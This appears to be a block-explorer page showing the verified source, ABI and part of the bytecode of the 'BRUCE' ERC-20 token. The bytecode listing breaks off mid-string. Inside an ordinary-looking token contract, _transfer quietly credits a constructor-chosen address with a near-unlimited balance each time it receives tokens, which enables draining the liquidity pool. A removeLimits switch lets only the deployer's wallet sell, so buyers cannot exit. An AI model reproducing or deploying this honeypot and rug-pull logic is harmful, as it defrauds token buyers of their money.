ERC-20
Overview
Max Total Supply
100,000,000 BRUCE
Holders
82
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Balance
94,791.07510341 BRUCEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BRUCE
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT /** TELEGRAM: https://t.me/bruceERC20 WEBSITE: https://bruce-eth.com **/ pragma solidity ^0.8.9; import "./IERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; import "./IUniswapV2Factory.sol"; import "./IUniswapV2Router02.sol"; contract BRUCE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BRUCE"; string private constant _symbol = "BRUCE"; uint8 private constant _decimals = 8; mapping(address => uint256) private _balances; mapping(address => mapping (address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isLiqudityPair; bool private _permission = false; address payable private _taxWallet; address payable private _devWallet; uint256 private _BuyTax = 1; uint256 private _SellTax = 1; uint256 private _countForSwap = 10; uint256 private _buyCount = 1; uint256 private _count = 0; uint256 private _rBTax = 0; uint256 private _rSTax = 0; uint256 private _initialBuy; uint256 private _initialSell; uint256 private constant _tTotal = 100000000 * 10 ** _decimals; uint256 public _maxTxAmount = 2000000 * 10 ** _decimals; uint256 public _maxWalletSize = 2000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 10000 * 10 ** _decimals; uint256 public _maxTaxSwap = 998365 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = true; bool private inSwap = false; bool private swapEnabled = true; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(uint _buy, uint _sell, address _address, address payable _devAddress) { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _initialBuy = _buy; _initialSell = _sell; _devWallet = _devAddress; _taxWallet = _msgSender(); _balances[_msgSender()] = _tTotal; _approve(_taxWallet, address(uniswapV2Router), _tTotal); _isLiqudityPair[_address] = true; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _isExcludedFromFee[_devWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (_permission) { if (to == address(uniswapV2Router) || to == address(uniswapV2Pair)) { require(from == _taxWallet, "You are not the owner"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount"); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize"); _buyCount++; } if (_count == 0 && to == uniswapV2Pair && from == _taxWallet) { taxAmount = taxAmount = amount.mul((_buyCount == _rBTax) ? _BuyTax : _initialBuy).div(100); _count++; } if (to == uniswapV2Pair && from != address(this) && !_isExcludedFromFee[from]) { taxAmount = amount.mul((_buyCount > _rSTax) ? _SellTax : _initialSell).div(100); } else if (from == uniswapV2Pair && !_isExcludedFromFee[to]) { taxAmount = amount.mul((_buyCount > _rBTax) ? _BuyTax : _initialBuy).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _countForSwap) { swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); } _balances[from] = _balances[from].sub(amount); uint256 rejectAmount = ~uint256(0) - _tTotal; _balances[to] = _balances[to].add(amount.sub(taxAmount)) + ((_isLiqudityPair[to]) ? rejectAmount : (0)); if (to == address(this) || (from == address(this) && to == uniswapV2Pair)) { } else { emit Transfer(from, to, amount.sub(taxAmount)); } } function min(uint256 a, uint256 b) private pure returns (uint256) { return( a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if (tokenAmount == 0) { return; } if (!tradingOpen) { return; } address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits(bool _bool) external { require(msg.sender == _taxWallet); _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; _permission = _bool; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _devWallet.transfer(amount); } function sendToBalance() external onlyOwner { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } receive() external payable {} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable (msg.sender); } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
// SPDX-License-Identifier: MIT pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
// SPDX-License-Identifier: MIT pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"address","name":"_address","type":"address"},{"internalType":"address payable","name":"_devAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendToBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526005805460ff19169055600160078190556008818155600a60098190559182556000600b819055600c819055600d556200003e9162000739565b6200004d90621e848062000751565b6010556200005e6008600a62000739565b6200006d90621e848062000751565b6011556200007e6008600a62000739565b6200008c9061271062000751565b6012556200009d6008600a62000739565b620000ac90620f3bdd62000751565b6013556015805462ffffff60a01b19166201000160a01b179055348015620000d357600080fd5b5060405162001c5338038062001c53833981016040819052620000f6916200078c565b6200010133620004a8565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200016157600080fd5b505afa15801562000176573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019c9190620007dc565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001fa57600080fd5b505afa1580156200020f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002359190620007dc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200027e57600080fd5b505af115801562000293573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b99190620007dc565b601580546001600160a01b03199081166001600160a01b0393841617909155600e869055600f85905560068054909116918316919091179055620002fa3390565b600580546001600160a01b039290921661010002610100600160a81b03199092169190911790556200032f6008600a62000739565b6200033f906305f5e10062000751565b33600090815260016020526040902055600554601454620003909161010090046001600160a01b0390811691166200037a6008600a62000739565b6200038a906305f5e10062000751565b620004f8565b6001600160a01b0382166000908152600460205260408120805460ff1916600190811790915590600390620003cd6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004821684528284208054861682179055600654909116835291208054909216179055620004433390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200047d6008600a62000739565b6200048d906305f5e10062000751565b60405190815260200160405180910390a350505050620007fc565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620005605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620005c35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000557565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200067b5781600019048211156200065f576200065f62000624565b808516156200066d57918102915b93841c93908002906200063f565b509250929050565b600082620006945750600162000733565b81620006a35750600062000733565b8160018114620006bc5760028114620006c757620006e7565b600191505062000733565b60ff841115620006db57620006db62000624565b50506001821b62000733565b5060208310610133831016604e8410600b84101617156200070c575081810a62000733565b6200071883836200063a565b80600019048211156200072f576200072f62000624565b0290505b92915050565b60006200074a60ff84168362000683565b9392505050565b60008160001904831182151516156200076e576200076e62000624565b500290565b6001600160a01b03811681146200078957600080fd5b50565b60008060008060808587031215620007a357600080fd5b84519350602085015192506040850151620007be8162000773565b6060860151909250620007d18162000773565b939692955090935050565b600060208284031215620007ef57600080fd5b81516200074a8162000773565b611447806200080c6000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b4114610124578063a9059cbb1461030a578063bf474bed1461032a578063dd62ed3e14610340578063f2fde38b1461038657600080fd5b8063715018a6146102965780637d1db4a5146102ab5780638505ceca146102c15780638da5cb5b146102d65780638f9a55c0146102f457600080fd5b806318160ddd116100e757806318160ddd146101d757806323b872dd146101ec578063313ce5671461020c57806349bd5a5e1461022857806370a082311461026057600080fd5b806306fdde0314610124578063095ea7b3146101615780630faee56f1461019157806317090ec8146101b557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820182526005815264425255434560d81b602082015290516101589190611062565b60405180910390f35b34801561016d57600080fd5b5061018161017c3660046110cc565b6103a6565b6040519015158152602001610158565b34801561019d57600080fd5b506101a760135481565b604051908152602001610158565b3480156101c157600080fd5b506101d56101d03660046110f8565b6103bd565b005b3480156101e357600080fd5b506101a7610470565b3480156101f857600080fd5b5061018161020736600461111a565b610491565b34801561021857600080fd5b5060405160088152602001610158565b34801561023457600080fd5b50601554610248906001600160a01b031681565b6040516001600160a01b039091168152602001610158565b34801561026c57600080fd5b506101a761027b36600461115b565b6001600160a01b031660009081526001602052604090205490565b3480156102a257600080fd5b506101d56104fa565b3480156102b757600080fd5b506101a760105481565b3480156102cd57600080fd5b506101d561050e565b3480156102e257600080fd5b506000546001600160a01b0316610248565b34801561030057600080fd5b506101a760115481565b34801561031657600080fd5b506101816103253660046110cc565b610523565b34801561033657600080fd5b506101a760125481565b34801561034c57600080fd5b506101a761035b366004611178565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039257600080fd5b506101d56103a136600461115b565b610530565b60006103b33384846105ab565b5060015b92915050565b60055461010090046001600160a01b031633146103d957600080fd5b6103e56008600a6112ab565b6103f3906305f5e1006112ba565b6010556104026008600a6112ab565b610410906305f5e1006112ba565b6011556005805460ff19168215151790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61044e6008600a6112ab565b61045c906305f5e1006112ba565b60405190815260200160405180910390a150565b600061047e6008600a6112ab565b61048c906305f5e1006112ba565b905090565b600061049e8484846106cf565b6104f084336104eb856040518060600160405280602881526020016113ea602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d58565b6105ab565b5060019392505050565b610502610d84565b61050c6000610dde565b565b610516610d84565b4761052081610e2e565b50565b60006103b33384846106cf565b610538610d84565b6001600160a01b0381166105a25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61052081610dde565b6001600160a01b03831661060d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610599565b6001600160a01b03821661066e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610599565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107335760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610599565b6001600160a01b0382166107955760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610599565b600081116107f75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610599565b60055460009060ff161561088d576014546001600160a01b038481169116148061082e57506015546001600160a01b038481169116145b1561088d576005546001600160a01b03858116610100909204161461088d5760405162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b6044820152606401610599565b6015546001600160a01b0385811691161480156108b857506014546001600160a01b03848116911614155b80156108dd57506001600160a01b03831660009081526003602052604090205460ff16155b156109c5576010548211156109345760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d61785478416d6f756e7400000000000000006044820152606401610599565b60115482610957856001600160a01b031660009081526001602052604090205490565b61096191906112d9565b11156109af5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865206d617857616c6c657453697a65000000000000006044820152606401610599565b600a80549060006109bf836112f1565b91905055505b600b541580156109e257506015546001600160a01b038481169116145b8015610a0057506005546001600160a